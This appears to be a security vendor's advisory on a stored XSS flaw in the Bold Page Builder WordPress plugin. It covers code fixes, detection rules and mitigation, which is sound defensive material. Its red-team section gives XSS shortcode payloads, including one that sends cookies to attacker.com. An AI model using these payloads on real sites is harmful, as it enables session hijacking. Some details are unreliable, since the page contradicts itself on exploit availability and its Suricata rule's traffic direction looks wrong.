CVE-2025-12803
Executive Summary
CVE-2025-12803 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Bold Page Builder plugin for WordPress. The flaw resides in the bt_bb_tabs shortcode, which fails to properly sanitize user-supplied attributes and escape output. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a victim (including administrators) visits a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, defacement, or further compromise.
This vulnerability affects all versions of the plugin up to and including 5.5.1. As of this report, no official patch has been released, and no public exploit code is available. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time, but the risk remains significant for sites with untrusted contributors.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Note
This vulnerability is specific to the WordPress ecosystem and the Bold Page Builder plugin. It is not related to the underlying web server (Apache/Nginx) or PHP runtime.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ability for a low-privileged user to inject persistent scripts that execute in the context of higher-privileged users (e.g., admins) elevates the real-world risk. The lack of a patch and the widespread use of the plugin make this a notable threat.
Deep Dive & Mechanics
The vulnerability exists in the bt_bb_tabs shortcode handler. The plugin does not properly sanitize the title attribute (or similar user-controlled attributes) before outputting it into the page's HTML. When a contributor creates a post or page using the shortcode like:
[bt_bb_tabs title='<script>alert("XSS")</script>']
The plugin stores the unsanitized payload in the WordPress database. When the page is rendered, the payload is echoed directly into the HTML without escaping, causing the browser to execute the script.
The root cause is a lack of esc_attr() or wp_kses() usage on the attribute values before they are inserted into the shortcode output. The plugin likely uses echo $title instead of echo esc_attr($title).
Vulnerable vs. Patched Code
Vulnerable Code (in bold-page-builder/shortcodes/tabs.php or similar):
// Vulnerable: no escaping
$title = $atts['title'];
echo '<div class="bt_bb_tab_title">' . $title . '</div>';
Patched Code (hypothetical, based on best practices):
// Patched: proper escaping
$title = esc_attr( $atts['title'] );
echo '<div class="bt_bb_tab_title">' . $title . '</div>';
The patched version would use esc_attr() to HTML-encode the attribute value, preventing script injection. Since no official patch exists, this is the recommended fix for developers.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with Bold Page Builder <= 5.5.1
- An account with Contributor-level access or higher
Steps:
- Log in as a Contributor.
- Create a new post or page.
- Insert the following shortcode into the content:
[bt_bb_tabs title='<img src=x onerror=alert(document.cookie)>'] - Publish or save the post.
- When an Administrator or any other user views the post, the JavaScript executes.
Advanced Payload (session hijacking):
[bt_bb_tabs title='<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>']
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team (Detection & Hardening)
Detection:
- Monitor for posts/pages containing
bt_bb_tabsshortcode with suspicious attributes (e.g.,<script>,onerror,onload). - Use WAF rules to block requests containing
<script>in shortcode attributes. - Review user activity logs for contributors creating posts with unusual shortcode usage.
Hardening:
- Immediately restrict Contributor-level permissions if not needed.
- Apply a virtual patch via WAF (e.g., ModSecurity rule to block
bt_bb_tabswith script tags). - Disable the plugin until an official patch is released.
- Use a security plugin like Wordfence to add input sanitization.
Indicators of Compromise (IOCs)
File-based:
- Presence of
bt_bb_tabsshortcode inwp_posts.post_contentwith HTML/JavaScript payloads. - Modified
bold-page-builder/shortcodes/tabs.php(if attacker patches the file).
- Presence of
Network-based:
- Outbound HTTP requests to attacker-controlled domains from the WordPress server (if payload exfiltrates data).
- Unusual
POSTrequests towp-admin/post.phpwith shortcode content.
Log-based:
- WordPress debug log entries showing unescaped output errors.
- Web server access logs showing requests to pages containing the malicious shortcode.
Detection Engineering
YARA Rule
rule CVE_2025_12803_Bold_Page_Builder_XSS {
meta:
description = "Detects stored XSS payloads in Bold Page Builder bt_bb_tabs shortcode"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-12803"
strings:
$shortcode = /\[bt_bb_tabs[^\]]*title\s*=\s*['\"][^'\"]*<script[^>]*>/
$payload1 = /<script[^>]*>.*<\/script>/ nocase
$payload2 = /onerror\s*=\s*['\"][^'\"]*['\"]/ nocase
$payload3 = /onload\s*=\s*['\"][^'\"]*['\"]/ nocase
condition:
$shortcode and ($payload1 or $payload2 or $payload3)
}
Sigma Rule
title: CVE-2025-12803 - Stored XSS via Bold Page Builder bt_bb_tabs
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts using the bt_bb_tabs shortcode in WordPress
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'bt_bb_tabs'
cs-uri-query|re: 'title=.*<script'
condition: selection
falsepositives:
- Legitimate use of script tags in shortcode (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-12803 - Bold Page Builder Stored XSS Attempt"; flow:to_server,established; content:"bt_bb_tabs"; http_uri; nocase; content:"title"; http_uri; nocase; pcre:"/title\s*=\s*['\"][^'\"]*<script[^>]*>/Ui"; classtype:web-application-attack; sid:10000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Remove or edit any posts/pages containing suspicious
bt_bb_tabsshortcodes. - Change all passwords for WordPress admin accounts if compromise is suspected.
Long-term Fix:
- Apply the patched code (see Vulnerable vs. Patched Code section) to the plugin file.
- Monitor the vendor's website for an official update.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.
Workaround:
- Use a security plugin (e.g., Wordfence, Sucuri) to add input sanitization for shortcode attributes.
- Restrict Contributor-level access to only trusted users.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.